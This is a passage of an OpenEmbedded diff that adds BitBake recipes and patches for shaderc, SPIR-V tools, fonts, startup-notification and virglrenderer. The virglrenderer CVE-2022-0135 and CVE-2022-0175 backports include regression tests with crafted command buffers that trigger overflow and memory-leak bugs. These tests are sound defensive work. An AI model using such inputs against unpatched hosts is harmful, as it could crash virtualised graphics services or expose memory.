++ ${CMAKE_CURRENT_BINARY_DIR}/build-version.inc ${shaderc_SOURCE_DIR} ${spirv-tools_SOURCE_DIR} ${glslang_SOURCE_DIR}
+ COMMENT "Update build-version.inc in the Shaderc build directory (if necessary).")
+
+ function(define_pkg_config_file NAME LIBS)
+diff --git a/utils/update_build_version.py b/utils/update_build_version.py
+index 5785390..f72b762 100755
+--- a/utils/update_build_version.py
++++ b/utils/update_build_version.py
+@@ -30,6 +30,7 @@ import re
+ import subprocess
+ import sys
+ import time
++import itertools
+
+ def mkdir_p(directory):
+ """Make the directory, and all its ancestors as required. Any of the
+@@ -121,25 +122,32 @@ def get_version_string(project, directory):
+ directory, which consists of software version string and git description
+ string."""
+ detailed_version_string_lst = [project]
+- if project != 'glslang':
+- detailed_version_string_lst.append(deduce_software_version(directory))
+- detailed_version_string_lst.append(describe(directory).replace('"', '\\"'))
++ if isinstance(directory, str) and os.path.isdir(directory):
++ if project != 'glslang':
++ detailed_version_string_lst.append(deduce_software_version(directory))
++ detailed_version_string_lst.append(describe(directory).replace('"', '\\"'))
++ else:
++ if project == 'spirv-tools':
++ project = 'SPIRV-Tools'
++ pkgconfig = ['pkg-config', '--modversion', project]
++ version = subprocess.run(pkgconfig, capture_output=True, text=True).stdout.rstrip()
++ detailed_version_string_lst.append(version)
+ return ' '.join(detailed_version_string_lst)
+
+
+ def main():
+- if len(sys.argv) != 5:
+- print(('usage: {} <shaderc-dir> <spirv-tools-dir> <glslang-dir> <output-file>'.format(
++ if len(sys.argv) < 3:
++ print(('usage: {} <output-file> <shaderc-dir> [spirv-tools-dir] [glslang-dir]'.format(
+ sys.argv[0])))
+ sys.exit(1)
+
+ projects = ['shaderc', 'spirv-tools', 'glslang']
+ new_content = ''.join([
+ '"{}\\n"\n'.format(get_version_string(p, d))
+- for (p, d) in zip(projects, sys.argv[1:])
++ for (p, d) in itertools.zip_longest(projects, sys.argv[2:])
+ ])
+
+- output_file = sys.argv[4]
++ output_file = sys.argv[1]
+ mkdir_p(os.path.dirname(output_file))
+
+ if os.path.isfile(output_file):
+--
+2.30.1
+
diff --git a/meta/recipes-graphics/shaderc/files/0002-libshaderc_util-fix-glslang-header-file-location.patch b/meta/recipes-graphics/shaderc/files/0002-libshaderc_util-fix-glslang-header-file-location.patch
new file mode 100644
index 0000000000..0e8ad7e4d2
--- /dev/null
+++ b/meta/recipes-graphics/shaderc/files/0002-libshaderc_util-fix-glslang-header-file-location.patch
@@ -0,0 +1,26 @@
+From d02ad48d5c9b48af70ddea2e6998081347ef82f3 Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sat, 13 Feb 2021 00:45:56 +0000
+Subject: [PATCH] libshaderc_util: fix glslang header file location
+
+Upstream-Status: Pending
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+
+---
+ libshaderc_util/src/compiler.cc | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/libshaderc_util/src/compiler.cc b/libshaderc_util/src/compiler.cc
+index 051558b..9c4476c 100644
+--- a/libshaderc_util/src/compiler.cc
++++ b/libshaderc_util/src/compiler.cc
+@@ -20,7 +20,7 @@
+ #include <thread>
+ #include <tuple>
+
+-#include "SPIRV/GlslangToSpv.h"
++#include "glslang/SPIRV/GlslangToSpv.h"
+ #include "libshaderc_util/format.h"
+ #include "libshaderc_util/io_shaderc.h"
+ #include "libshaderc_util/message.h"
diff --git a/meta/recipes-graphics/shaderc/shaderc_2022.1.bb b/meta/recipes-graphics/shaderc/shaderc_2022.1.bb
new file mode 100644
index 0000000000..fe9d94094c
--- /dev/null
+++ b/meta/recipes-graphics/shaderc/shaderc_2022.1.bb
@@ -0,0 +1,29 @@
+SUMMARY = "A collection of tools, libraries and tests for shader compilation"
+DESCRIPTION = "The Shaderc library provides an API for compiling GLSL/HLSL \
+source code to SPIRV modules. It has been shipping in the Android NDK since version r12b."
+SECTION = "graphics"
+HOMEPAGE = "https://github.com/google/shaderc"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=86d3f3a95c324c9479bd8986968f4327"
+
+SRCREV = "e4722b0ad49ee60c143d43baae8390f75ba27d2d"
+SRC_URI = "git://github.com/google/shaderc.git;protocol=https;branch=main \
+ file://0001-cmake-disable-building-external-dependencies.patch \
+ file://0002-libshaderc_util-fix-glslang-header-file-location.patch \
+ "
+UPSTREAM_CHECK_GITTAGREGEX = "^v(?P<pver>\d+(\.\d+)+)$"
+S = "${WORKDIR}/git"
+
+inherit cmake python3native pkgconfig
+
+DEPENDS = "spirv-headers spirv-tools glslang"
+
+EXTRA_OECMAKE = " \
+ -DCMAKE_BUILD_TYPE=Release \
+ -DBUILD_EXTERNAL=OFF \
+ -DSHADERC_SKIP_TESTS=ON \
+ -DSHADERC_SKIP_EXAMPLES=ON \
+ -DSHADERC_SKIP_COPYRIGHT_CHECK=ON \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/spir/spirv-headers_1.3.204.1.bb b/meta/recipes-graphics/spir/spirv-headers_1.3.204.1.bb
new file mode 100644
index 0000000000..72416b441f
--- /dev/null
+++ b/meta/recipes-graphics/spir/spirv-headers_1.3.204.1.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Machine-readable files for the SPIR-V Registry"
+DESCRIPTION = "Headers are provided in the include directory, with up-to-date \
+headers in the unified1 subdirectory. Older headers are provided according to \
+their version."
+SECTION = "graphics"
+HOMEPAGE = "https://www.khronos.org/registry/spir-v"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=c938b85bceb8fb26c1a807f28a52ae2d"
+
+SRCREV = "b42ba6d92faf6b4938e6f22ddd186dbdacc98d78"
+SRC_URI = "git://github.com/KhronosGroup/SPIRV-Headers;protocol=https;branch=master"
+PE = "1"
+UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
+S = "${WORKDIR}/git"
+
+inherit cmake
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/spir/spirv-tools_1.3.204.1.bb b/meta/recipes-graphics/spir/spirv-tools_1.3.204.1.bb
new file mode 100644
index 0000000000..dc78073717
--- /dev/null
+++ b/meta/recipes-graphics/spir/spirv-tools_1.3.204.1.bb
@@ -0,0 +1,41 @@
+SUMMARY = "The SPIR-V Tools project provides an API and commands for \
+processing SPIR-V modules"
+DESCRIPTION = "The project includes an assembler, binary module parser, \
+disassembler, validator, and optimizer for SPIR-V."
+HOMEPAGE = "https://github.com/KhronosGroup/SPIRV-Tools"
+SECTION = "graphics"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
+
+SRCREV = "45dd184c790d6bfc78a5a74a10c37e888b1823fa"
+SRC_URI = "git://github.com/KhronosGroup/SPIRV-Tools.git;branch=stable;protocol=https"
+PE = "1"
+UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
+S = "${WORKDIR}/git"
+
+inherit cmake python3native
+
+DEPENDS = "spirv-headers"
+
+EXTRA_OECMAKE += "\
+ -DSPIRV-Headers_SOURCE_DIR=${STAGING_EXECPREFIXDIR} \
+ -DSPIRV_TOOLS_BUILD_STATIC=OFF \
+ -DBUILD_SHARED_LIBS=ON \
+ -DSPIRV_SKIP_TESTS=ON \
+"
+
+do_install:append:class-target() {
+ # reproducibility: remove build host path
+ sed -i ${D}${libdir}/cmake/SPIRV-Tools/SPIRV-ToolsTarget.cmake \
+ -e 's:${STAGING_DIR_HOST}::g'
+}
+
+# all the libraries are unversioned, so don't pack it on PN-dev
+SOLIBS = ".so"
+FILES_SOLIBSDEV = ""
+
+PACKAGES =+ "${PN}-lesspipe"
+FILES:${PN}-lesspipe = "${base_bindir}/spirv-lesspipe.sh"
+RDEPENDS:${PN}-lesspipe += "${PN} bash"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/startup-notification/startup-notification-0.12/time_t.patch b/meta/recipes-graphics/startup-notification/startup-notification-0.12/time_t.patch
new file mode 100644
index 0000000000..e5dff007d4
--- /dev/null
+++ b/meta/recipes-graphics/startup-notification/startup-notification-0.12/time_t.patch
@@ -0,0 +1,108 @@
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From a7e49fefde18ea8d5bada8096d32f23bcfb5a6dc Mon Sep 17 00:00:00 2001
+From: "Federico G. Schwindt" <fgsch@openbsd.org>
+Date: Mon, 17 Feb 2014 15:48:12 +0100
+Subject: [PATCH 1/3] Fix crash on 32bit architectures where time_t is 64 bit
+
+This is an ABI change on platforms where sizeof(time_t) doesn't equal
+sizeof(long). For most platforms this change shouldn't make a difference
+at present. OpenBSD recently switched to 64bit time_t on all architectures
+to avoid time_t overflow in 2038 on 32bit machines.
+
+This fix extends to consumers of startup-notification, for instance
+the window manager of XFCE, which is how I got involved in this.
+See http://mail.xfce.org/pipermail/xfce4-dev/2014-February/030611.html
+and follow-ups. The XFCE devs pointed out that my patch to fix a
+crash in XFCE's window manager depends on this startup-notification patch.
+
+Signed-off-by: Julien Danjou <julien@danjou.info>
+---
+ libsn/sn-monitor.c | 8 ++++----
+ libsn/sn-monitor.h | 8 ++++----
+ 2 files changed, 8 insertions(+), 8 deletions(-)
+
+diff --git a/libsn/sn-monitor.c b/libsn/sn-monitor.c
+index 2a9ad16..f419bc1 100644
+--- a/libsn/sn-monitor.c
++++ b/libsn/sn-monitor.c
+@@ -364,8 +364,8 @@ sn_startup_sequence_get_screen (SnStartupSequence *sequence)
+ **/
+ void
+ sn_startup_sequence_get_initiated_time (SnStartupSequence *sequence,
+- long *tv_sec,
+- long *tv_usec)
++ time_t *tv_sec,
++ suseconds_t *tv_usec)
+ {
+ if (tv_sec)
+ *tv_sec = sequence->initiation_time.tv_sec;
+@@ -386,8 +386,8 @@ sn_startup_sequence_get_initiated_time (SnStartupSequence *sequence,
+ **/
+ void
+ sn_startup_sequence_get_last_active_time (SnStartupSequence *sequence,
+- long *tv_sec,
+- long *tv_usec)
++ time_t *tv_sec,
++ suseconds_t *tv_usec)
+ {
+ /* for now the same as get_initiated_time */
+ if (tv_sec)
+diff --git a/libsn/sn-monitor.h b/libsn/sn-monitor.h
+index b58581f..2f639df 100644
+--- a/libsn/sn-monitor.h
++++ b/libsn/sn-monitor.h
+@@ -77,11 +77,11 @@ const char* sn_startup_sequence_get_application_id (SnStartupSequence *se
+ int sn_startup_sequence_get_screen (SnStartupSequence *sequence);
+
+ void sn_startup_sequence_get_initiated_time (SnStartupSequence *sequence,
+- long *tv_sec,
+- long *tv_usec);
++ time_t *tv_sec,
++ suseconds_t *tv_usec);
+ void sn_startup_sequence_get_last_active_time (SnStartupSequence *sequence,
+- long *tv_sec,
+- long *tv_usec);
++ time_t *tv_sec,
++ suseconds_t *tv_usec);
+
+ void sn_startup_sequence_complete (SnStartupSequence *sequence);
+
+--
+2.26.2
+
+From ea9f7e4cc6fd8c08d175ed7774ed2c5bd11c8ef0 Mon Sep 17 00:00:00 2001
+From: Colin Walters <walters@verbum.org>
+Date: Mon, 17 Feb 2014 14:37:09 -0500
+Subject: [PATCH 2/3] Add include of <sys/select.h> for previous patch
+
+Unfortunately while the standard says that <sys/types.h> is the
+correct header to get suseconds_t, at least with glibc, that requires
+-DXOPEN_SOURCE. Which is problematic for a public header, because
+then all *users* of startup-notification will be required to define
+that.
+
+Poking around a bit, it looks like at least with glibc, <sys/select.h>
+will give us an unconditional define.
+
+Signed-off-by: Julien Danjou <julien@danjou.info>
+---
+ libsn/sn-monitor.h | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/libsn/sn-monitor.h b/libsn/sn-monitor.h
+index 2f639df..cea4e12 100644
+--- a/libsn/sn-monitor.h
++++ b/libsn/sn-monitor.h
+@@ -28,6 +28,7 @@
+ #define __SN_MONITOR_H__
+
+ #include <libsn/sn-common.h>
++#include <sys/select.h>
+
+ SN_BEGIN_DECLS
+
+--
+2.26.2
+
diff --git a/meta/recipes-graphics/startup-notification/startup-notification_0.12.bb b/meta/recipes-graphics/startup-notification/startup-notification_0.12.bb
index 6c1b93cd0a..efd426f8c4 100644
--- a/meta/recipes-graphics/startup-notification/startup-notification_0.12.bb
+++ b/meta/recipes-graphics/startup-notification/startup-notification_0.12.bb
@@ -1,10 +1,13 @@
SUMMARY = "Enables monitoring and display of application startup"
+DESCRIPTION = "Contains a reference implementation of the startup notification protocol. \
+The reference implementation is mostly under an X Window System style license, and has \
+no special dependencies. "
HOMEPAGE = "http://www.freedesktop.org/wiki/Software/startup-notification/"
-BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=Specifications"
+BUGTRACKER = "https://gitlab.freedesktop.org/xdg/startup-notification/-/issues"
# most files are under MIT, but libsn/sn-util.c is under LGPL, the
# effective license is LGPL
-LICENSE = "LGPLv2+"
+LICENSE = "LGPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=a2ae2cd47d6d2f238410f5364dfbc0f2 \
file://libsn/sn-util.c;endline=18;md5=18a14dc1825d38e741d772311fea9ee1 \
file://libsn/sn-common.h;endline=23;md5=6d05bc0ebdcf5513a6e77cb26e8cd7e2 \
@@ -17,12 +20,13 @@ SECTION = "libs"
DEPENDS = "virtual/libx11 libsm xcb-util"
-inherit autotools pkgconfig distro_features_check
+inherit autotools pkgconfig features_check
# depends on virtual/libx11
REQUIRED_DISTRO_FEATURES = "x11"
SRC_URI = "http://www.freedesktop.org/software/startup-notification/releases/${BPN}-${PV}.tar.gz \
file://obsolete_automake_macros.patch \
+ file://time_t.patch \
"
SRC_URI[md5sum] = "2cd77326d4dcaed9a5a23a1232fb38e9"
diff --git a/meta/recipes-graphics/ttf-fonts/liberation-fonts_2.00.1.bb b/meta/recipes-graphics/ttf-fonts/liberation-fonts_2.00.1.bb
deleted file mode 100644
index f5df9efa3b..0000000000
--- a/meta/recipes-graphics/ttf-fonts/liberation-fonts_2.00.1.bb
+++ /dev/null
@@ -1,41 +0,0 @@
-SUMMARY = "Liberation(tm) Fonts"
-DESCRIPTION = "The Liberation(tm) Fonts is a font family originally \
-created by Ascender(c) which aims at metric compatibility with \
-Arial, Times New Roman, Courier New."
-HOMEPAGE = "https://releases.pagure.org/liberation-fonts/"
-BUGTRACKER = "https://bugzilla.redhat.com/"
-
-SECTION = "x11/fonts"
-LICENSE = "OFL-1.1"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=f96db970a9a46c5369142b99f530366b"
-PE = "1"
-
-inherit allarch fontcache
-
-FONT_PACKAGES = "${PN}"
-
-SRC_URI = "https://releases.pagure.org/liberation-fonts/liberation-fonts-ttf-${PV}.tar.gz \
- file://30-liberation-aliases.conf"
-
-S = "${WORKDIR}/liberation-fonts-ttf-${PV}"
-
-SRC_URI[md5sum] = "5c781723a0d9ed6188960defba8e91cf"
-SRC_URI[sha256sum] = "7890278a6cd17873c57d9cd785c2d230d9abdea837e96516019c5885dd271504"
-
-do_install () {
- install -d ${D}${datadir}/fonts/ttf/
- for i in *.ttf; do
- install -m 0644 $i ${D}${prefix}/share/fonts/ttf/${i}
- done
-
- install -d ${D}${sysconfdir}/fonts/conf.d/
- install -m 0644 ${WORKDIR}/30-liberation-aliases.conf ${D}${sysconfdir}/fonts/conf.d/
-
- install -d ${D}${prefix}/share/doc/${BPN}/
- install -m 0644 LICENSE ${D}${datadir}/doc/${BPN}/
-}
-
-PACKAGES = "${PN}"
-FILES_${PN} += "${sysconfdir} ${datadir}"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/ttf-fonts/liberation-fonts_2.1.5.bb b/meta/recipes-graphics/ttf-fonts/liberation-fonts_2.1.5.bb
new file mode 100644
index 0000000000..32247b09c8
--- /dev/null
+++ b/meta/recipes-graphics/ttf-fonts/liberation-fonts_2.1.5.bb
@@ -0,0 +1,38 @@
+SUMMARY = "Liberation(tm) Fonts"
+DESCRIPTION = "The Liberation(tm) Fonts is a font family originally \
+created by Ascender(c) which aims at metric compatibility with \
+Arial, Times New Roman, Courier New."
+HOMEPAGE = "https://github.com/liberationfonts/liberation-fonts"
+BUGTRACKER = "https://bugzilla.redhat.com/"
+
+SECTION = "x11/fonts"
+LICENSE = "OFL-1.1"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=f96db970a9a46c5369142b99f530366b"
+PE = "1"
+
+SRC_URI = "https://github.com/liberationfonts/liberation-fonts/files/7261482/liberation-fonts-ttf-${PV}.tar.gz \
+ file://30-liberation-aliases.conf"
+SRC_URI[sha256sum] = "7191c669bf38899f73a2094ed00f7b800553364f90e2637010a69c0e268f25d0"
+UPSTREAM_CHECK_URI = "https://github.com/liberationfonts/liberation-fonts/releases"
+
+S = "${WORKDIR}/liberation-fonts-ttf-${PV}"
+
+inherit allarch fontcache
+
+do_install () {
+ install -d ${D}${datadir}/fonts/ttf/
+ for i in *.ttf; do
+ install -m 0644 $i ${D}${prefix}/share/fonts/ttf/${i}
+ done
+
+ install -d ${D}${sysconfdir}/fonts/conf.d/
+ install -m 0644 ${WORKDIR}/30-liberation-aliases.conf ${D}${sysconfdir}/fonts/conf.d/
+
+ install -d ${D}${prefix}/share/doc/${BPN}/
+ install -m 0644 LICENSE ${D}${datadir}/doc/${BPN}/
+}
+
+PACKAGES = "${PN}"
+FILES:${PN} += "${sysconfdir} ${datadir}"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/ttf-fonts/ttf-bitstream-vera_1.10.bb b/meta/recipes-graphics/ttf-fonts/ttf-bitstream-vera_1.10.bb
index 70b32cf8f1..1f1ad83e0b 100644
--- a/meta/recipes-graphics/ttf-fonts/ttf-bitstream-vera_1.10.bb
+++ b/meta/recipes-graphics/ttf-fonts/ttf-bitstream-vera_1.10.bb
@@ -1,4 +1,5 @@
SUMMARY = "The Bitstream Vera fonts - TTF Edition"
+HOMEPAGE = "https://www.gnome.org/fonts/"
DESCRIPTION = "The Bitstream Vera fonts include four monospace and sans \
faces (normal, oblique, bold, bold oblique) and two serif faces (normal \
and bold). In addition Fontconfig/Xft2 can artificially oblique the \
@@ -7,9 +8,12 @@ but is visibly different than normal and bold, and reasonably pleasing."
SECTION = "x11/fonts"
LICENSE = "BitstreamVera"
LIC_FILES_CHKSUM = "file://COPYRIGHT.TXT;md5=27d7484b1e18d0ee4ce538644a3f04be"
-PR = "r7"
+PR = "r8"
-inherit fontcache
+inherit allarch fontcache
+
+# remove at next version upgrade or when output changes
+HASHEQUIV_HASH_VERSION .= ".1"
FONT_PACKAGES = "${PN}"
@@ -29,4 +33,4 @@ do_install () {
done
}
-FILES_${PN} = "${datadir}/fonts"
+FILES:${PN} = "${datadir}/fonts"
diff --git a/meta/recipes-graphics/virglrenderer/virglrenderer/0001-gallium-Expand-libc-check-to-be-platform-OS-check.patch b/meta/recipes-graphics/virglrenderer/virglrenderer/0001-gallium-Expand-libc-check-to-be-platform-OS-check.patch
deleted file mode 100644
index a0ac3aefdd..0000000000
--- a/meta/recipes-graphics/virglrenderer/virglrenderer/0001-gallium-Expand-libc-check-to-be-platform-OS-check.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 3d30df8d8ccb919733b5339b2a82474305b83998 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 6 Aug 2019 01:19:48 +0000
-Subject: [PATCH] gallium: Expand libc check to be platform OS check
-
-endianness on musl based systems can also be detected in same way as
-glibc, therefore check for __linux__ define instead of __GLIBC__
-
-Fixes build on musl/mips
-
-| ../../../../git/src/gallium/include/pipe/p_config.h:171:2: error: #error Unknown Endianness
-| #error Unknown Endianness
-| ^~~~~
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/gallium/include/pipe/p_config.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/gallium/include/pipe/p_config.h b/src/gallium/include/pipe/p_config.h
-index d603681..71cdf49 100644
---- a/src/gallium/include/pipe/p_config.h
-+++ b/src/gallium/include/pipe/p_config.h
-@@ -130,7 +130,7 @@
- * Endian detection.
- */
-
--#ifdef __GLIBC__
-+#ifdef __linux__
- #include <endian.h>
-
- #if __BYTE_ORDER == __LITTLE_ENDIAN
---
-2.17.1
-
diff --git a/meta/recipes-graphics/virglrenderer/virglrenderer/0001-meson.build-use-python3-directly-for-python.patch b/meta/recipes-graphics/virglrenderer/virglrenderer/0001-meson.build-use-python3-directly-for-python.patch
new file mode 100644
index 0000000000..0fd1d511d6
--- /dev/null
+++ b/meta/recipes-graphics/virglrenderer/virglrenderer/0001-meson.build-use-python3-directly-for-python.patch
@@ -0,0 +1,27 @@
+From 63788c63ed39a3ce9994f4315d8997e1a9300d4d Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Mon, 6 Jan 2020 12:44:42 +0100
+Subject: [PATCH] meson.build: use 'python3' directly for python
+
+This avoids a dependency on target python (due to meson probing
+its configuration).
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ meson.build | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/meson.build b/meson.build
+index 682d7c8..19d2eae 100644
+--- a/meson.build
++++ b/meson.build
+@@ -60,7 +60,7 @@ foreach w : warnings
+ endif
+ endforeach
+
+-prog_python = import('python').find_installation('python3')
++prog_python = 'python3'
+
+ libdrm_dep = dependency('libdrm', version : '>=2.4.50')
+ thread_dep = dependency('threads')
diff --git a/meta/recipes-graphics/virglrenderer/virglrenderer/cve-2022-0135.patch b/meta/recipes-graphics/virglrenderer/virglrenderer/cve-2022-0135.patch
new file mode 100644
index 0000000000..ae42dc8f6c
--- /dev/null
+++ b/meta/recipes-graphics/virglrenderer/virglrenderer/cve-2022-0135.patch
@@ -0,0 +1,117 @@
+From 63aee871365f9c9e7fa9125672302a0fb250d34d Mon Sep 17 00:00:00 2001
+From: Gert Wollny <gert.wollny@collabora.com>
+Date: Tue, 30 Nov 2021 09:16:24 +0100
+Subject: [PATCH 2/2] vrend: propperly check whether the shader image range is
+ correct
+
+Also add a test to check the integer underflow.
+
+Closes: #251
+Signed-off-by: Gert Wollny <gert.wollny@collabora.com>
+Reviewed-by: Chia-I Wu <olvaffe@gmail.com>
+
+cherry-pick from anongit.freedesktop.org/virglrenderer
+commit 2aed5d4...
+
+CVE: CVE-2022-0135
+Upstream-Status: Backport
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+
+---
+ src/vrend_decode.c | 3 +-
+ tests/test_fuzzer_formats.c | 57 +++++++++++++++++++++++++++++++++++++
+ 2 files changed, 59 insertions(+), 1 deletion(-)
+
+diff --git a/src/vrend_decode.c b/src/vrend_decode.c
+index 91f5f24..6771b10 100644
+--- a/src/vrend_decode.c
++++ b/src/vrend_decode.c
+@@ -1249,8 +1249,9 @@ static int vrend_decode_set_shader_images(struct vrend_context *ctx, const uint3
+ if (num_images < 1) {
+ return 0;
+ }
++
+ if (start_slot > PIPE_MAX_SHADER_IMAGES ||
+- start_slot > PIPE_MAX_SHADER_IMAGES - num_images)
++ start_slot + num_images > PIPE_MAX_SHADER_IMAGES)
+ return EINVAL;
+
+ for (uint32_t i = 0; i < num_images; i++) {
+diff --git a/tests/test_fuzzer_formats.c b/tests/test_fuzzer_formats.c
+index 154a2e5..e32caf0 100644
+--- a/tests/test_fuzzer_formats.c
++++ b/tests/test_fuzzer_formats.c
+@@ -958,6 +958,61 @@ static void test_vrend_set_signle_abo_heap_overflow() {
+ virgl_renderer_submit_cmd((void *) cmd, ctx_id, 0xde);
+ }
+
++static void test_vrend_set_shader_images_overflow()
++{
++ uint32_t num_shaders = PIPE_MAX_SHADER_IMAGES + 1;
++ uint32_t size = num_shaders * VIRGL_SET_SHADER_IMAGE_ELEMENT_SIZE + 3;
++ uint32_t cmd[size];
++ int i = 0;
++ cmd[i++] = ((size - 1)<< 16) | 0 << 8 | VIRGL_CCMD_SET_SHADER_IMAGES;
++ cmd[i++] = PIPE_SHADER_FRAGMENT;
++ memset(&cmd[i], 0, size - i);
++
++ virgl_renderer_submit_cmd((void *) cmd, ctx_id, size);
++}
++
++/* Test adapted from yaojun8558363@gmail.com:
++ * https://gitlab.freedesktop.org/virgl/virglrenderer/-/issues/250
++*/
++static void test_vrend_3d_resource_overflow() {
++
++ struct virgl_renderer_resource_create_args resource;
++ resource.handle = 0x4c474572;
++ resource.target = PIPE_TEXTURE_2D_ARRAY;
++ resource.format = VIRGL_FORMAT_Z24X8_UNORM;
++ resource.nr_samples = 2;
++ resource.last_level = 0;
++ resource.array_size = 3;
++ resource.bind = VIRGL_BIND_SAMPLER_VIEW;
++ resource.depth = 1;
++ resource.width = 8;
++ resource.height = 4;
++ resource.flags = 0;
++
++ virgl_renderer_resource_create(&resource, NULL, 0);
++ virgl_renderer_ctx_attach_resource(ctx_id, resource.handle);
++
++ uint32_t size = 0x400;
++ uint32_t cmd[size];
++ int i = 0;
++ cmd[i++] = (size - 1) << 16 | 0 << 8 | VIRGL_CCMD_RESOURCE_INLINE_WRITE;
++ cmd[i++] = resource.handle;
++ cmd[i++] = 0; // level
++ cmd[i++] = 0; // usage
++ cmd[i++] = 0; // stride
++ cmd[i++] = 0; // layer_stride
++ cmd[i++] = 0; // x
++ cmd[i++] = 0; // y
++ cmd[i++] = 0; // z
++ cmd[i++] = 8; // w
++ cmd[i++] = 4; // h
++ cmd[i++] = 3; // d
++ memset(&cmd[i], 0, size - i);
++
++ virgl_renderer_submit_cmd((void *) cmd, ctx_id, size);
++}
++
++
+ int main()
+ {
+ initialize_environment();
+@@ -980,6 +1035,8 @@ int main()
+ test_cs_nullpointer_deference();
+ test_vrend_set_signle_abo_heap_overflow();
+
++ test_vrend_set_shader_images_overflow();
++ test_vrend_3d_resource_overflow();
+
+ virgl_renderer_context_destroy(ctx_id);
+ virgl_renderer_cleanup(&cookie);
+--
+2.25.1
+
diff --git a/meta/recipes-graphics/virglrenderer/virglrenderer/cve-2022-0175.patch b/meta/recipes-graphics/virglrenderer/virglrenderer/cve-2022-0175.patch
new file mode 100644
index 0000000000..7fbab75091
--- /dev/null
+++ b/meta/recipes-graphics/virglrenderer/virglrenderer/cve-2022-0175.patch
@@ -0,0 +1,107 @@
+From 5ca7aca001092c557f0b6fc1ba3db7dcdab860b7 Mon Sep 17 00:00:00 2001
+From: Gert Wollny <gert.wollny@collabora.com>
+Date: Tue, 30 Nov 2021 09:29:42 +0100
+Subject: [PATCH 1/2] vrend: clear memory when allocating a host-backed memory
+ resource
+
+Closes: #249
+Signed-off-by: Gert Wollny <gert.wollny@collabora.com>
+Reviewed-by: Chia-I Wu <olvaffe@gmail.com>
+
+cherry-pick from anongit.freedesktop.org/virglrenderer
+commit b05bb61...
+
+CVE: CVE-2022-0175
+Upstream-Status: Backport
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+
+---
+ src/vrend_renderer.c | 2 +-
+ tests/test_virgl_transfer.c | 51 +++++++++++++++++++++++++++++++++++++
+ 2 files changed, 52 insertions(+), 1 deletion(-)
+
+diff --git a/src/vrend_renderer.c b/src/vrend_renderer.c
+index b8b2a36..2650cf2 100644
+--- a/src/vrend_renderer.c
++++ b/src/vrend_renderer.c
+@@ -6788,7 +6788,7 @@ vrend_resource_alloc_buffer(struct vrend_resource *gr, uint32_t flags)
+ if (bind == VIRGL_BIND_CUSTOM) {
+ /* use iovec directly when attached */
+ gr->storage_bits |= VREND_STORAGE_HOST_SYSTEM_MEMORY;
+- gr->ptr = malloc(size);
++ gr->ptr = calloc(1, size);
+ if (!gr->ptr)
+ return -ENOMEM;
+ } else if (bind == VIRGL_BIND_STAGING) {
+diff --git a/tests/test_virgl_transfer.c b/tests/test_virgl_transfer.c
+index bf7f438..3c53c3d 100644
+--- a/tests/test_virgl_transfer.c
++++ b/tests/test_virgl_transfer.c
+@@ -952,6 +952,56 @@ START_TEST(virgl_test_transfer_near_res_bounds_with_stride_succeeds)
+ }
+ END_TEST
+
++START_TEST(test_vrend_host_backed_memory_no_data_leak)
++{
++ struct iovec iovs[1];
++ int niovs = 1;
++
++ struct virgl_context ctx = {0};
++
++ int ret = testvirgl_init_ctx_cmdbuf(&ctx);
++
++ struct virgl_renderer_resource_create_args res;
++ res.handle = 0x400;
++ res.target = PIPE_BUFFER;
++ res.format = VIRGL_FORMAT_R8_UNORM;
++ res.nr_samples = 0;
++ res.last_level = 0;
++ res.array_size = 1;
++ res.bind = VIRGL_BIND_CUSTOM;
++ res.depth = 1;
++ res.width = 32;
++ res.height = 1;
++ res.flags = 0;
++
++ uint32_t size = 32;
++ uint8_t* data = calloc(1, size);
++ memset(data, 1, 32);
++ iovs[0].iov_base = data;
++ iovs[0].iov_len = size;
++
++ struct pipe_box box = {0,0,0, size, 1,1};
++
++ virgl_renderer_resource_create(&res, NULL, 0);
++ virgl_renderer_ctx_attach_resource(ctx.ctx_id, res.handle);
++
++ ret = virgl_renderer_transfer_read_iov(res.handle, ctx.ctx_id, 0, 0, 0,
++ (struct virgl_box *)&box, 0, iovs, niovs);
++
++ ck_assert_int_eq(ret, 0);
++
++ for (int i = 0; i < 32; ++i)
++ ck_assert_int_eq(data[i], 0);
++
++ virgl_renderer_ctx_detach_resource(1, res.handle);
++
++ virgl_renderer_resource_unref(res.handle);
++ free(data);
++
++}
++END_TEST
++
++
+ static Suite *virgl_init_suite(void)
+ {
+ Suite *s;
+@@ -981,6 +1031,7 @@ static Suite *virgl_init_suite(void)
